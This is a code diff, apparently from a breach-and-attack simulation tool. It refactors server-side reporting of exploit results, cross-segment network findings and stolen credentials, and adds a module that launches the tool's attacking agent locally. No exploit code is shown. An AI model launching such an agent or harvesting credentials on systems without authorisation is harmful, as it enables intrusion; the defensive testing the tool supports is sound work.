- def process_ssh_exploit(exploit):
- processed_exploit = ReportService.process_general_creds_exploit(exploit)
- # Check if it's ssh key or ssh login credentials exploit
- if processed_exploit['type'] == 'ssh_key':
- return processed_exploit
- else:
- processed_exploit['type'] = 'ssh'
- return processed_exploit
-
- @staticmethod
- def process_vsftpd_exploit(exploit):
- processed_exploit = ReportService.process_general_creds_exploit(exploit)
- processed_exploit['type'] = 'vsftp'
- return processed_exploit
-
- @staticmethod
- def process_sambacry_exploit(exploit):
- processed_exploit = ReportService.process_general_creds_exploit(exploit)
- processed_exploit['type'] = 'sambacry'
- return processed_exploit
-
- @staticmethod
- def process_elastic_exploit(exploit):
- processed_exploit = ReportService.process_general_exploit(exploit)
- processed_exploit['type'] = 'elastic'
- return processed_exploit
-
- @staticmethod
- def process_conficker_exploit(exploit):
- processed_exploit = ReportService.process_general_exploit(exploit)
- processed_exploit['type'] = 'conficker'
- return processed_exploit
-
- @staticmethod
- def process_shellshock_exploit(exploit):
- processed_exploit = ReportService.process_general_exploit(exploit)
- processed_exploit['type'] = 'shellshock'
- urls = exploit['data']['info']['vulnerable_urls']
- processed_exploit['port'] = urls[0].split(':')[2].split('/')[0]
- processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls]
- return processed_exploit
-
- @staticmethod
- def process_struts2_exploit(exploit):
- processed_exploit = ReportService.process_general_exploit(exploit)
- processed_exploit['type'] = 'struts2'
- return processed_exploit
-
- @staticmethod
- def process_weblogic_exploit(exploit):
- processed_exploit = ReportService.process_general_exploit(exploit)
- processed_exploit['type'] = 'weblogic'
- return processed_exploit
-
- @staticmethod
- def process_hadoop_exploit(exploit):
- processed_exploit = ReportService.process_general_exploit(exploit)
- processed_exploit['type'] = 'hadoop'
- return processed_exploit
-
- @staticmethod
- def process_mssql_exploit(exploit):
- processed_exploit = ReportService.process_general_exploit(exploit)
- processed_exploit['type'] = 'mssql'
- return processed_exploit
-
- @staticmethod
- def process_drupal_exploit(exploit):
- processed_exploit = ReportService.process_general_exploit(exploit)
- processed_exploit['type'] = 'drupal'
- return processed_exploit
-
- @staticmethod
- def process_zerologon_exploit(exploit):
- processed_exploit = ReportService.process_general_exploit(exploit)
- processed_exploit['type'] = 'zerologon'
- processed_exploit['password_restored'] = exploit['data']['info']['password_restored']
- return processed_exploit
-
- @staticmethod
- def process_exploit(exploit):
- exploiter_type = exploit['data']['exploiter']
- EXPLOIT_PROCESS_FUNCTION_DICT = {
- 'SmbExploiter': ReportService.process_smb_exploit,
- 'WmiExploiter': ReportService.process_wmi_exploit,
- 'SSHExploiter': ReportService.process_ssh_exploit,
- 'SambaCryExploiter': ReportService.process_sambacry_exploit,
- 'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
- 'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
- 'ShellShockExploiter': ReportService.process_shellshock_exploit,
- 'Struts2Exploiter': ReportService.process_struts2_exploit,
- 'WebLogicExploiter': ReportService.process_weblogic_exploit,
- 'HadoopExploiter': ReportService.process_hadoop_exploit,
- 'MSSQLExploiter': ReportService.process_mssql_exploit,
- 'VSFTPDExploiter': ReportService.process_vsftpd_exploit,
- 'DrupalExploiter': ReportService.process_drupal_exploit,
- 'ZerologonExploiter': ReportService.process_zerologon_exploit
- }
-
- return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
-
- @staticmethod
- def get_exploits():
- query = [{'$match': {'telem_category': 'exploit', 'data.result': True}},
- {'$group': {'_id': {'ip_address': '$data.machine.ip_addr'},
- 'data': {'$first': '$$ROOT'},
- }},
- {"$replaceRoot": {"newRoot": "$data"}}]
+ def get_exploits() -> List[dict]:
+ query = [
+ {"$match": {"telem_category": "exploit", "data.result": True}},
+ {
+ "$group": {
+ "_id": {"ip_address": "$data.machine.ip_addr"},
+ "data": {"$first": "$$ROOT"},
+ }
+ },
+ {"$replaceRoot": {"newRoot": "$data"}},
+ ]
exploits = []
for exploit in mongo.db.telemetry.aggregate(query):
new_exploit = ReportService.process_exploit(exploit)
if new_exploit not in exploits:
- exploits.append(new_exploit)
+ exploits.append(new_exploit.__dict__)
return exploits
@staticmethod
def get_monkey_subnets(monkey_guid):
network_info = mongo.db.telemetry.find_one(
- {'telem_category': 'system_info',
- 'monkey_guid': monkey_guid},
- {'data.network_info.networks': 1}
+ {"telem_category": "system_info", "monkey_guid": monkey_guid},
+ {"data.network_info.networks": 1},
)
if network_info is None or not network_info["data"]:
return []
- return \
- [
- ipaddress.ip_interface(str(network['addr'] + '/' + network['netmask'])).network
- for network in network_info['data']['network_info']['networks']
- ]
+ return [
+ ipaddress.ip_interface(str(network["addr"] + "/" + network["netmask"])).network
+ for network in network_info["data"]["network_info"]["networks"]
+ ]
@staticmethod
def get_island_cross_segment_issues():
issues = []
island_ips = local_ip_addresses()
- for monkey in mongo.db.monkey.find({'tunnel': {'$exists': False}}, {'tunnel': 1, 'guid': 1, 'hostname': 1}):
+ for monkey in mongo.db.monkey.find(
+ {"tunnel": {"$exists": False}}, {"tunnel": 1, "guid": 1, "hostname": 1}
+ ):
found_good_ip = False
- monkey_subnets = ReportService.get_monkey_subnets(monkey['guid'])
+ monkey_subnets = ReportService.get_monkey_subnets(monkey["guid"])
for subnet in monkey_subnets:
for ip in island_ips:
if ipaddress.ip_address(str(ip)) in subnet:
@@ -470,9 +332,12 @@ class ReportService:
break
if not found_good_ip:
issues.append(
- {'type': 'island_cross_segment', 'machine': monkey['hostname'],
- 'networks': [str(subnet) for subnet in monkey_subnets],
- 'server_networks': [str(subnet) for subnet in get_subnets()]}
+ {
+ "type": "island_cross_segment",
+ "machine": monkey["hostname"],
+ "networks": [str(subnet) for subnet in monkey_subnets],
+ "server_networks": [str(subnet) for subnet in get_subnets()],
+ }
)
return issues
@@ -480,18 +345,21 @@ class ReportService:
@staticmethod
def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range):
"""
- Gets list of cross segment issues of a single machine. Meaning a machine has an interface for each of the
+ Gets list of cross segment issues of a single machine. Meaning a machine has an interface
+ for each of the
subnets.
- :param source_subnet_range: The subnet range which shouldn't be able to access target_subnet.
- :param target_subnet_range: The subnet range which shouldn't be accessible from source_subnet.
+ :param source_subnet_range: The subnet range which shouldn't be able to access
+ target_subnet.
+ :param target_subnet_range: The subnet range which shouldn't be accessible from
+ source_subnet.
:return:
"""
cross_segment_issues = []
- for monkey in mongo.db.monkey.find({}, {'ip_addresses': 1, 'hostname': 1}):
+ for monkey in mongo.db.monkey.find({}, {"ip_addresses": 1, "hostname": 1}):
ip_in_src = None
ip_in_dst = None
- for ip_addr in monkey['ip_addresses']:
+ for ip_addr in monkey["ip_addresses"]:
if source_subnet_range.is_in_range(str(ip_addr)):
ip_in_src = ip_addr
break
@@ -500,7 +368,7 @@ class ReportService:
if not ip_in_src:
continue
- for ip_addr in monkey['ip_addresses']:
+ for ip_addr in monkey["ip_addresses"]:
if target_subnet_range.is_in_range(str(ip_addr)):
ip_in_dst = ip_addr
break
@@ -508,12 +376,13 @@ class ReportService:
if ip_in_dst:
cross_segment_issues.append(
{
- 'source': ip_in_src,
- 'hostname': monkey['hostname'],
- 'target': ip_in_dst,
- 'services': None,
- 'is_self': True
- })
+ "source": ip_in_src,
+ "hostname": monkey["hostname"],
+ "target": ip_in_dst,
+ "services": None,
+ "is_self": True,
+ }
+ )
return cross_segment_issues
@@ -521,7 +390,8 @@ class ReportService:
def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet):
"""
Gets list of cross segment issues from source_subnet to target_subnet.
- :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services.
+ :param scans: List of all scan telemetry entries. Must have monkey_guid,
+ ip_addr and services.
This should be a PyMongo cursor object.
:param source_subnet: The subnet which shouldn't be able to access target_subnet.
:param target_subnet: The subnet which shouldn't be accessible from source_subnet.
@@ -536,32 +406,35 @@ class ReportService:
scans.rewind() # If we iterated over scans already we need to rewind.
for scan in scans:
- target_ip = scan['data']['machine']['ip_addr']
+ target_ip = scan["data"]["machine"]["ip_addr"]
if target_subnet_range.is_in_range(str(target_ip)):
- monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
- cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
- source_subnet_range,
- target_subnet_range)
+ monkey = NodeService.get_monkey_by_guid(scan["monkey_guid"])
+ cross_segment_ip = get_ip_in_src_and_not_in_dst(
+ monkey["ip_addresses"], source_subnet_range, target_subnet_range
+ )
if cross_segment_ip is not None:
cross_segment_issues.append(
{
- 'source': cross_segment_ip,
- 'hostname': monkey['hostname'],
- 'target': target_ip,
- 'services': scan['data']['machine']['services'],
- 'icmp': scan['data']['machine']['icmp'],
- 'is_self': False
- })
+ "source": cross_segment_ip,
+ "hostname": monkey["hostname"],
+ "target": target_ip,
+ "services": scan["data"]["machine"]["services"],
+ "icmp": scan["data"]["machine"]["icmp"],
+ "is_self": False,
+ }
+ )
return cross_segment_issues + ReportService.get_cross_segment_issues_of_single_machine(
- source_subnet_range, target_subnet_range)
+ source_subnet_range, target_subnet_range
+ )
@staticmethod
def get_cross_segment_issues_per_subnet_group(scans, subnet_group):
"""
Gets list of cross segment issues within given subnet_group.
- :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services.
+ :param scans: List of all scan telemetry entries. Must have monkey_guid,
+ ip_addr and services.
This should be a PyMongo cursor object.
:param subnet_group: List of subnets which shouldn't be accessible from each other.
:return: Cross segment issues regarding the subnets in the group.
@@ -571,21 +444,31 @@ class ReportService:
for subnet_pair in itertools.product(subnet_group, subnet_group):
source_subnet = subnet_pair[0]
target_subnet = subnet_pair[1]
- pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet)
+ pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair(
+ scans, source_subnet, target_subnet
+ )
if len(pair_issues) != 0:
cross_segment_issues.append(
{
- 'source_subnet': source_subnet,
- 'target_subnet': target_subnet,
- 'issues': pair_issues
- })
+ "source_subnet": source_subnet,
+ "target_subnet": target_subnet,
+ "issues": pair_issues,
+ }
+ )
return cross_segment_issues
@staticmethod
def get_cross_segment_issues():
- scans = mongo.db.telemetry.find({'telem_category': 'scan'},
- {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1, 'data.machine.icmp': 1})
+ scans = mongo.db.telemetry.find(
+ {"telem_category": "scan"},
+ {
+ "monkey_guid": 1,
+ "data.machine.ip_addr": 1,
+ "data.machine.services": 1,
+ "data.machine.icmp": 1,
+ },
+ )
cross_segment_issues = []
@@ -593,13 +476,14 @@ class ReportService:
subnet_groups = get_config_network_segments_as_subnet_groups()
for subnet_group in subnet_groups:
- cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group)
+ cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(
+ scans, subnet_group
+ )
return cross_segment_issues
@staticmethod
def get_domain_issues():
-
ISSUE_GENERATORS = [
PTHReportService.get_duplicated_passwords_issues,
PTHReportService.get_shared_admins_issues,
@@ -607,56 +491,31 @@ class ReportService:
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
domain_issues_dict = {}
for issue in issues:
- if not issue.get('is_local', True):
- machine = issue.get('machine').upper()
- aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine'))
+ if not issue.get("is_local", True):
+ machine = issue.get("machine").upper()
+ aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get("machine"))
if machine not in domain_issues_dict:
domain_issues_dict[machine] = []
if aws_instance_id:
- issue['aws_instance_id'] = aws_instance_id
+ issue["aws_instance_id"] = aws_instance_id
domain_issues_dict[machine].append(issue)
- logger.info('Domain issues generated for reporting')
+ logger.info("Domain issues generated for reporting")
return domain_issues_dict
@staticmethod
def get_machine_aws_instance_id(hostname):
- aws_instance_id_list = list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1}))
+ aws_instance_id_list = list(
+ mongo.db.monkey.find({"hostname": hostname}, {"aws_instance_id": 1})
+ )
if aws_instance_id_list:
- if 'aws_instance_id' in aws_instance_id_list[0]:
- return str(aws_instance_id_list[0]['aws_instance_id'])
+ if "aws_instance_id" in aws_instance_id_list[0]:
+ return str(aws_instance_id_list[0]["aws_instance_id"])
else:
return None
@staticmethod
- def get_issues():
- ISSUE_GENERATORS = [
- ReportService.get_exploits,
- ReportService.get_tunnels,
- ReportService.get_island_cross_segment_issues,
- ReportService.get_azure_issues,
- PTHReportService.get_duplicated_passwords_issues,
- PTHReportService.get_strong_users_on_crit_issues
- ]
-
- issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
-
- issues_dict = {}
- for issue in issues:
- if issue.get('is_local', True):
- machine = issue.get('machine').upper()
- aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine'))
- if machine not in issues_dict:
- issues_dict[machine] = []
- if aws_instance_id:
- issue['aws_instance_id'] = aws_instance_id
- issues_dict[machine].append(issue)
- logger.info('Issues generated for reporting')
- return issues_dict
-
- @staticmethod
- def get_manual_monkeys():
- return [monkey['hostname'] for monkey in mongo.db.monkey.find({}, {'hostname': 1, 'parent': 1, 'guid': 1}) if
- NodeService.get_monkey_manual_run(monkey)]
+ def get_manual_monkey_hostnames():
+ return [monkey["hostname"] for monkey in get_manual_monkeys()]
@staticmethod
def get_config_users():
@@ -675,10 +534,11 @@ class ReportService:
exploits = ConfigService.get_config_value(exploits_config_value, True, True)
if exploits == default_exploits:
- return ['default']
+ return ["default"]
- return [ReportService.EXPLOIT_DISPLAY_DICT[exploit] for exploit in
- exploits]
+ return [
+ ExploiterDescriptorEnum.get_by_class_name(exploit).display_name for exploit in exploits
+ ]
@staticmethod
def get_config_ips():
@@ -689,68 +549,48 @@ class ReportService:
return ConfigService.get_config_value(LOCAL_NETWORK_SCAN_PATH, True, True)
@staticmethod
- def get_issues_overview(issues, config_users, config_passwords):
- issues_byte_array = [False] * len(ReportService.ISSUES_DICT)
+ def get_issue_set(issues, config_users, config_passwords):
+ issue_set = set()
for machine in issues:
for issue in issues[machine]:
- if issue['type'] == 'elastic':
- issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True
- elif issue['type'] == 'sambacry':
- issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True
- elif issue['type'] == 'vsftp':
- issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True
- elif issue['type'] == 'shellshock':
- issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
- elif issue['type'] == 'conficker':
- issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
- elif issue['type'] == 'azure_password':
- issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
- elif issue['type'] == 'ssh_key':
- issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
- elif issue['type'] == 'struts2':
- issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
- elif issue['type'] == 'weblogic':
- issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
- elif issue['type'] == 'mssql':
- issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
- elif issue['type'] == 'hadoop':
- issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
- elif issue['type'] == 'drupal':
- issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True
- elif issue['type'] == 'zerologon':
- if not issue['password_restored']:
- issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON_PASSWORD_RESTORE_FAILED.value] = True
- issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON.value] = True
- elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
- issue['username'] in config_users or issue['type'] == 'ssh':
- issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
- elif issue['type'] == 'strong_users_on_crit':
- issues_byte_array[ReportService.ISSUES_DICT.PTH_CRIT_SERVICES_ACCESS.value] = True
- elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
- issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
+ if ReportService._is_weak_credential_issue(issue, config_users, config_passwords):
+ issue_set.add(ReportService.DerivedIssueEnum.WEAK_PASSWORD)
+ elif ReportService._is_stolen_credential_issue(issue):
+ issue_set.add(ReportService.DerivedIssueEnum.STOLEN_CREDS)
+ elif ReportService._is_zerologon_pass_restore_failed(issue):
+ issue_set.add(ReportService.DerivedIssueEnum.ZEROLOGON_PASS_RESTORE_FAILED)
- return issues_byte_array
+ issue_set.add(issue["type"])
+
+ return issue_set
@staticmethod
- def get_warnings_overview(issues, cross_segment_issues):
- warnings_byte_array = [False] * len(ReportService.WARNINGS_DICT)
+ def _is_weak_credential_issue(
+ issue: dict, config_usernames: List[str], config_passwords: List[str]
+ ) -> bool:
+ # Only credential exploiter issues have 'credential_type'
+ return (
+ "credential_type" in issue
+ and issue["credential_type"] == CredentialType.PASSWORD.value
+ and issue["password"] in config_passwords
+ and issue["username"] in config_usernames
+ )
- for machine in issues:
- for issue in issues[machine]:
- if issue['type'] == 'island_cross_segment':
- warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
- elif issue['type'] == 'tunnel':
- warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True
- elif issue['type'] == 'shared_admins':
- warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_LOCAL_ADMIN.value] = True
- elif issue['type'] == 'shared_passwords':
- warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_PASSWORDS.value] = True
+ @staticmethod
+ def _is_stolen_credential_issue(issue: dict) -> bool:
+ # Only credential exploiter issues have 'credential_type'
+ return "credential_type" in issue and (
+ issue["credential_type"] == CredentialType.PASSWORD.value
+ or issue["credential_type"] == CredentialType.HASH.value
+ )
- if len(cross_segment_issues) != 0:
- warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
-
- return warnings_byte_array
+ @staticmethod
+ def _is_zerologon_pass_restore_failed(issue: dict):
+ return (
+ issue["type"] == ExploiterDescriptorEnum.ZEROLOGON.value.class_name
+ and not issue["password_restored"]
+ )
@staticmethod
def is_report_generated():
@@ -763,72 +603,92 @@ class ReportService:
issues = ReportService.get_issues()
config_users = ReportService.get_config_users()
config_passwords = ReportService.get_config_passwords()
+ issue_set = ReportService.get_issue_set(issues, config_users, config_passwords)
cross_segment_issues = ReportService.get_cross_segment_issues()
monkey_latest_modify_time = Monkey.get_latest_modifytime()
scanned_nodes = ReportService.get_scanned()
- exploited_nodes = ReportService.get_exploited()
- report = \
- {
- 'overview':
- {
- 'manual_monkeys': ReportService.get_manual_monkeys(),
- 'config_users': config_users,
- 'config_passwords': config_passwords,
- 'config_exploits': ReportService.get_config_exploits(),
- 'config_ips': ReportService.get_config_ips(),
- 'config_scan': ReportService.get_config_scan(),
- 'monkey_start_time': ReportService.get_first_monkey_time().strftime("%d/%m/%Y %H:%M:%S"),
- 'monkey_duration': ReportService.get_monkey_duration(),
- 'issues': ReportService.get_issues_overview(issues, config_users, config_passwords),
- 'warnings': ReportService.get_warnings_overview(issues, cross_segment_issues),
- 'cross_segment_issues': cross_segment_issues
- },
- 'glance':
- {
- 'scanned': scanned_nodes,
- 'exploited': exploited_nodes,
- 'stolen_creds': ReportService.get_stolen_creds(),
- 'azure_passwords': ReportService.get_azure_creds(),
- 'ssh_keys': ReportService.get_ssh_keys(),
- 'strong_users': PTHReportService.get_strong_users_on_crit_details()
- },
- 'recommendations':
- {
- 'issues': issues,
- 'domain_issues': domain_issues
- },
- 'meta':
- {
- 'latest_monkey_modifytime': monkey_latest_modify_time
- }
- }
+ exploited_cnt = len(get_monkey_exploited())
+ report = {
+ "overview": {
+ "manual_monkeys": ReportService.get_manual_monkey_hostnames(),
+ "config_users": config_users,
+ "config_passwords": config_passwords,
+ "config_exploits": ReportService.get_config_exploits(),
+ "config_ips": ReportService.get_config_ips(),
+ "config_scan": ReportService.get_config_scan(),
+ "monkey_start_time": ReportService.get_first_monkey_time().strftime(
+ "%d/%m/%Y %H:%M:%S"
+ ),
+ "monkey_duration": ReportService.get_monkey_duration(),
+ "issues": issue_set,
+ "cross_segment_issues": cross_segment_issues,
+ },
+ "glance": {
+ "scanned": scanned_nodes,
+ "exploited_cnt": exploited_cnt,
+ "stolen_creds": ReportService.get_stolen_creds(),
+ "azure_passwords": ReportService.get_azure_creds(),
+ "ssh_keys": ReportService.get_ssh_keys(),
+ "strong_users": PTHReportService.get_strong_users_on_crit_details(),
+ },
+ "recommendations": {"issues": issues, "domain_issues": domain_issues},
+ "meta": {"latest_monkey_modifytime": monkey_latest_modify_time},
+ }
ReportExporterManager().export(report)
mongo.db.report.drop()
mongo.db.report.insert_one(ReportService.encode_dot_char_before_mongo_insert(report))
return report
+ @staticmethod
+ def get_issues():
+ ISSUE_GENERATORS = [
+ ReportService.get_exploits,
+ ReportService.get_tunnels,
+ ReportService.get_island_cross_segment_issues,
+ ReportService.get_azure_issues,
+ PTHReportService.get_duplicated_passwords_issues,
+ PTHReportService.get_strong_users_on_crit_issues,
+ ]
+
+ issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
+
+ issues_dict = {}
+ for issue in issues:
+ if issue.get("is_local", True):
+ machine = issue.get("machine").upper()
+ aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get("machine"))
+ if machine not in issues_dict:
+ issues_dict[machine] = []
+ if aws_instance_id:
+ issue["aws_instance_id"] = aws_instance_id
+ issues_dict[machine].append(issue)
+ logger.info("Issues generated for reporting")
+ return issues_dict
+
@staticmethod
def encode_dot_char_before_mongo_insert(report_dict):
"""
- mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode
+ mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.'
+ char with the unicode
,,, combo instead.
:return: dict with formatted keys with no dots.
"""
- report_as_json = json_util.dumps(report_dict).replace('.', ',,,')
+ report_as_json = json_util.dumps(report_dict).replace(".", ",,,")
return json_util.loads(report_as_json)
@staticmethod
def is_latest_report_exists():
"""
This function checks if a monkey report was already generated and if it's the latest one.
- :return: True if report is the latest one, False if there isn't a report or its not the latest.
+ :return: True if report is the latest one, False if there isn't a report or its not the
+ latest.
"""
- latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1})
+ latest_report_doc = mongo.db.report.find_one({}, {"meta.latest_monkey_modifytime": 1})
if latest_report_doc:
- report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime']
+ report_latest_modifytime = latest_report_doc["meta"]["latest_monkey_modifytime"]
latest_monkey_modifytime = Monkey.get_latest_modifytime()
return report_latest_modifytime == latest_monkey_modifytime
@@ -842,7 +702,9 @@ class ReportService:
"""
delete_result = mongo.db.report.delete_many({})
if mongo.db.report.count_documents({}) != 0:
- raise RuntimeError("Report cache not cleared. DeleteResult: " + delete_result.raw_result)
+ raise RuntimeError(
+ "Report cache not cleared. DeleteResult: " + delete_result.raw_result
+ )
@staticmethod
def decode_dot_char_before_mongo_insert(report_dict):
@@ -850,7 +712,7 @@ class ReportService:
this function replaces the ',,,' combo with the '.' char instead.
:return: report dict with formatted keys (',,,' -> '.')
"""
- report_as_json = json_util.dumps(report_dict).replace(',,,', '.')
+ report_as_json = json_util.dumps(report_dict).replace(",,,", ".")
return json_util.loads(report_as_json)
@staticmethod
@@ -858,9 +720,3 @@ class ReportService:
if ReportService.is_latest_report_exists():
return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one())
return safe_generate_regular_report()
-
- @staticmethod
- def did_exploit_type_succeed(exploit_type):
- return mongo.db.edge.count(
- {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}},
- limit=1) > 0
diff --git a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
index 865556b0d..99d2ac629 100644
--- a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
+++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
@@ -1,7 +1,5 @@
import logging
-__author__ = 'maor.rayzin'
-
logger = logging.getLogger(__name__)
@@ -30,4 +28,4 @@ class ReportExporterManager(object, metaclass=Singleton):
try:
exporter().handle_report(report)
except Exception as e:
- logger.exception('Failed to export report, error: ' + e)
+ logger.exception("Failed to export report, error: " + e)
diff --git a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py
index 30e406e9f..38f7ee9cb 100644
--- a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py
+++ b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py
@@ -4,8 +4,10 @@ from gevent.lock import BoundedSemaphore
logger = logging.getLogger(__name__)
-# These are pseudo-singletons - global Locks. These locks will allow only one thread to generate a report at a time.
-# Report generation can be quite slow if there is a lot of data, and the UI queries the Root service often; without
+# These are pseudo-singletons - global Locks. These locks will allow only one thread to generate
+# a report at a time.
+# Report generation can be quite slow if there is a lot of data, and the UI queries the Root
+# service often; without
# the locks, these requests would accumulate, overload the server, eventually causing it to crash.
logger.debug("Initializing report generation locks.")
__report_generating_lock = BoundedSemaphore()
@@ -28,6 +30,7 @@ def safe_generate_reports():
def safe_generate_regular_report():
# Local import to avoid circular imports
from monkey_island.cc.services.reporting.report import ReportService
+
try:
__regular_report_generating_lock.acquire()
report = ReportService.generate_report()
@@ -39,6 +42,7 @@ def safe_generate_regular_report():
def safe_generate_attack_report():
# Local import to avoid circular imports
from monkey_island.cc.services.attack.attack_report import AttackReportService
+
try:
__attack_report_generating_lock.acquire()
attack_report = AttackReportService.generate_new_report()
diff --git a/monkey/monkey_island/cc/services/representations.py b/monkey/monkey_island/cc/services/representations.py
index cd804db50..0193fae0d 100644
--- a/monkey/monkey_island/cc/services/representations.py
+++ b/monkey/monkey_island/cc/services/representations.py
@@ -6,9 +6,9 @@ from flask import make_response
def normalize_obj(obj):
- if ('_id' in obj) and ('id' not in obj):
- obj['id'] = obj['_id']
- del obj['_id']
+ if ("_id" in obj) and ("id" not in obj):
+ obj["id"] = obj["_id"]
+ del obj["_id"]
for key, value in list(obj.items()):
if isinstance(value, bson.objectid.ObjectId):
diff --git a/monkey/monkey_island/cc/services/representations_test.py b/monkey/monkey_island/cc/services/representations_test.py
deleted file mode 100644
index 079cb995f..000000000
--- a/monkey/monkey_island/cc/services/representations_test.py
+++ /dev/null
@@ -1,54 +0,0 @@
-from datetime import datetime
-from unittest import TestCase
-
-import bson
-
-from monkey_island.cc.services.representations import normalize_obj
-
-
-class TestJsonRepresentations(TestCase):
- def test_normalize_obj(self):
- # empty
- self.assertEqual({}, normalize_obj({}))
-
- # no special content
- self.assertEqual(
- {"a": "a"},
- normalize_obj({"a": "a"})
- )
-
- # _id field -> id field
- self.assertEqual(
- {"id": 12345},
- normalize_obj({"_id": 12345})
- )
-
- # obj id field -> str
- obj_id_str = "123456789012345678901234"
- self.assertEqual(
- {"id": obj_id_str},
- normalize_obj({"_id": bson.objectid.ObjectId(obj_id_str)})
- )
-
- # datetime -> str
- dt = datetime.now()
- expected = {"a": str(dt)}
- result = normalize_obj({"a": dt})
- self.assertEqual(expected, result)
-
- # dicts and lists
- self.assertEqual({
- "a": [
- {"ba": obj_id_str,
- "bb": obj_id_str}
- ],
- "b": {"id": obj_id_str}
- },
- normalize_obj({
- "a": [
- {"ba": bson.objectid.ObjectId(obj_id_str),
- "bb": bson.objectid.ObjectId(obj_id_str)}
- ],
- "b": {"_id": bson.objectid.ObjectId(obj_id_str)}
- })
- )
diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py
new file mode 100644
index 000000000..e7e18045a
--- /dev/null
+++ b/monkey/monkey_island/cc/services/run_local_monkey.py
@@ -0,0 +1,56 @@
+import logging
+import os
+import platform
+import stat
+import subprocess
+from shutil import copyfile
+
+import monkey_island.cc.environment.environment_singleton as env_singleton
+from monkey_island.cc.resources.monkey_download import get_monkey_executable
+from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
+from monkey_island.cc.services.utils.network_utils import local_ip_addresses
+
+logger = logging.getLogger(__name__)
+
+
+class LocalMonkeyRunService:
+ DATA_DIR = None
+
+ # TODO: A number of these services should be instance objects instead of
+ # static/singleton hybrids. At the moment, this requires invasive refactoring that's
+ # not a priority.
+ @classmethod
+ def initialize(cls, data_dir):
+ cls.DATA_DIR = data_dir
+
+ @staticmethod
+ def run_local_monkey():
+ # get the monkey executable suitable to run on the server
+ result = get_monkey_executable(platform.system().lower(), platform.machine().lower())
+ if not result:
+ return False, "OS Type not found"
+
+ src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"])
+ dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"])
+
+ # copy the executable to temp path (don't run the monkey from its current location as it may
+ # delete itself)
+ try:
+ copyfile(src_path, dest_path)
+ os.chmod(dest_path, stat.S_IRWXU | stat.S_IRWXG)
+ except Exception as exc:
+ logger.error("Copy file failed", exc_info=True)
+ return False, "Copy file failed: %s" % exc
+
+ # run the monkey
+ try:
+ ip = local_ip_addresses()[0]
+ port = env_singleton.env.get_island_port()
+
+ args = [dest_path, "m0nk3y", "-s", f"{ip}:{port}"]
+ subprocess.Popen(args, cwd=LocalMonkeyRunService.DATA_DIR)
+ except Exception as exc:
+ logger.error("popen failed", exc_info=True)
+ return False, "popen failed: %s" % exc
+
+ return True, ""
